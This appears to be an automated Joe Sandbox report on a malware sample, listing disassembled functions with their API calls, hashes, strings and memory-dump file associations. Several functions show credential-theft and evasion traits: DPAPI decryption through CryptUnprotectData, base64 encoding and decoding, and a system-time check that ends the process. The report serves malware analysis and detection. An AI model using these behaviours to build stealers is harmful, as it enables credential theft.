Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 4%>$A'SW$HGk?$N,u\$Pc[$Q$}X$wh>$}-r
API String ID: 0-3079403201
Opcode ID: 728d53d3d92271b91e30c7ea25f1a0e5316eecbb8ded7201937ea886946efe8b
Instruction ID: 1cfa9c8c19d6cc21cdc0fe3ecdc782665937ba0bd8b63b0b0a5190380a1bb8bc
Opcode Fuzzy Hash: 728d53d3d92271b91e30c7ea25f1a0e5316eecbb8ded7201937ea886946efe8b
Instruction Fuzzy Hash: 4DB2E6F360C6049FE304AE29DC8567AF7E9EF94720F16893DEAC4C3744EA3598418796

Function 6CA8D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6CA8DC7F
9, xrefs: 6CA8DE7F
@, xrefs: 6CA8DAF6
8, xrefs: 6CA8DC08
-, xrefs: 6CA8D7DD
, xrefs: 6CA8DA88
0, xrefs: 6CA8D852
1, xrefs: 6CA8DBDD

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 4c680a496cd90be5e32e9d80d87e479979d9ec5fb0c4f1203f691a4d5046b198
Instruction ID: a2ad599d1528f1ecb298ee2963efb9d67a44903561897cf05a1048f5701e2250
Opcode Fuzzy Hash: 4c680a496cd90be5e32e9d80d87e479979d9ec5fb0c4f1203f691a4d5046b198
Instruction Fuzzy Hash: 5362BE7190E3468FD705CE29C49075EBBF2AF86358F284A1FE4E54BA91C33599C5CB82

Function 00928563 Relevance: 9.1, Strings: 6, Instructions: 1609COMMON

Download Yara Rule

Strings

"fT{, xrefs: 009293FD
<^{v, xrefs: 0092898B
gvj, xrefs: 00929899
l'U[, xrefs: 00928BB2
lT, xrefs: 009292B9
n=Y7, xrefs: 009289D8

Memory Dump Source

Source File: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "fT{$<^{v$gvj$l'U[$lT$n=Y7
API String ID: 0-3859380093
Opcode ID: fd7a07c0225282ca12f9004bb844a060aa91462af8c41e2093533db420bda22a
Instruction ID: 5184bb8962dcf77cb53678390df6f51ca3b3f322ca08a4bf19c250b7c54bae69
Opcode Fuzzy Hash: fd7a07c0225282ca12f9004bb844a060aa91462af8c41e2093533db420bda22a
Instruction Fuzzy Hash: 30B2F8F360C2049FE304AE2DEC8567ABBE9EF94720F16493DE6C4C3744EA3598458697

Function 00569AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NV,00000000,00000000), ref: 00569AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00564EEE,00000000,?), ref: 00569B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NV,00000000,00000000), ref: 00569B2A
LocalFree.KERNEL32(?,?,?,?,00564EEE,00000000,?), ref: 00569B3F

Strings

NV, xrefs: 00569AD4, 00569AE1, 00569AF9, 00569B18, 00569AE4, 00569B1B

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: NV
API String ID: 4291131564-146997974
Opcode ID: 7566ed6847a441baf0317ccab22c645c7cd1ad13ce1c7943b80152b266261d22
Instruction ID: e070f6fa499f45282c231d2aa1195fd294ecbd1e1dbd02df5479c2b9741220fa
Opcode Fuzzy Hash: 7566ed6847a441baf0317ccab22c645c7cd1ad13ce1c7943b80152b266261d22
Instruction Fuzzy Hash: 8B11D2B4640208BFEB01CF64CC95FAA77B9FB89B10F208158F9159B390C7B6A901CB94

Function 00576920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0057696C
sscanf.NTDLL ref: 00576999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 005769B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 005769C0
ExitProcess.KERNEL32 ref: 005769DA

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: bb4e46c9b31612464e7c6bfe259937dc6b0b495630f37b4546171a75fe7f828c
Instruction ID: 9de0fff9fb009bc98f8521f55ba54004b31e3e03abc55e2fa1c042dd713e2766
Opcode Fuzzy Hash: bb4e46c9b31612464e7c6bfe259937dc6b0b495630f37b4546171a75fe7f828c
Instruction Fuzzy Hash: DA21FF75D00209ABCF44EFE4E9459EEBBB5FF88300F04852EE51AE3250EB345604CB69

Function 00567240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0056724D
RtlAllocateHeap.NTDLL(00000000), ref: 00567254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00567281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 005672A4
LocalFree.KERNEL32(?), ref: 005672AE

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 0a44d2c41928f5994806334c88d453cfa892e79587af3cb964650295911693c2
Instruction ID: 559d8098c2b4a79f43d77108c0926137ddc062bd7990af8d775aa0e575f562c9
Opcode Fuzzy Hash: 0a44d2c41928f5994806334c88d453cfa892e79587af3cb964650295911693c2
Instruction Fuzzy Hash: C00100B5A40208BBDB10DFD4CD45F9E77B8BB44B04F108554FB05AB2C0D774AA00CB69

Function 6CAF545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CAF8A4B

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 0d7276555ace361361f6496614eecfbf0debd0139f742ac4cf07174f0cb68eab
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: A4B1E872E0021A8FDB24CF68CC907D9B7B2EF95314F1902A9D599DB791D73099CACB90

Function 6CAF542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CAF88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAF925C

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 59d7e0730b6e094a69874868bfee5146af3d9cf28c9b9dfb99370f4cc9e1492f
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: DAB1D672E0020A8FCB14CF69CD806EDB7B2EF95314F184269D959DB785D730A9CACB90

Function 00578EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00565184,40000001,00000000,00000000,?,00565184), ref: 00578EC0

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 926a11fc933e8748a1cdfffd1c28b14aef9c19b184bf351a857b61575d8ab986
Instruction ID: 67f9bf773144573dbb559c099e9aaca7c6704206c5a604ac828a586184f9a581
Opcode Fuzzy Hash: 926a11fc933e8748a1cdfffd1c28b14aef9c19b184bf351a857b61575d8ab986
Instruction Fuzzy Hash: 0A110A70240205BFDB00CF64E888FBA3BA9BF89710F10D448FD198B250DB35E841EB64

Function 0092198C Relevance: 5.3, Strings: 3, Instructions: 1555COMMON

Download Yara Rule

Strings

!Q/=, xrefs: 00922A37
G_b, xrefs: 0092274D
jM^, xrefs: 00921CDA

Memory Dump Source

Source File: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !Q/=$G_b$jM^
API String ID: 0-3102969798
Opcode ID: 94015497ee1ed0614528c1d918f5160d7d965987ccec6abb8b36b0005ffabd33
Instruction ID: 30ac03a5ad3c2e7fe48667b7f6d55d83cbbf7510896384efbda26ff3af8d9980
Opcode Fuzzy Hash: 94015497ee1ed0614528c1d918f5160d7d965987ccec6abb8b36b0005ffabd33
Instruction Fuzzy Hash: 6DB2E1F36082009FE308AE29EC8567AFBE9EF94720F16493DE6C5C7744EA3558058797

Function 6CAC6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CAC6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAC6E1E

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 35f275d415a2fd0ce815df13fc5da6551ede3b110c259e65f3aff856bb089bea
Instruction ID: 1e16198f02c9774c16439cca7934d8efc9b47413e438a8d943ce9a560216bb1f
Opcode Fuzzy Hash: 35f275d415a2fd0ce815df13fc5da6551ede3b110c259e65f3aff856bb089bea
Instruction Fuzzy Hash: 64A18B746183848FD715CF24C5907AEBBF2BF88308F45491DE88A87B51DB70A889CB92

Function 00573720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0057E118,00000000,00000001,0057E108,00000000), ref: 00573758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 005737B0

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
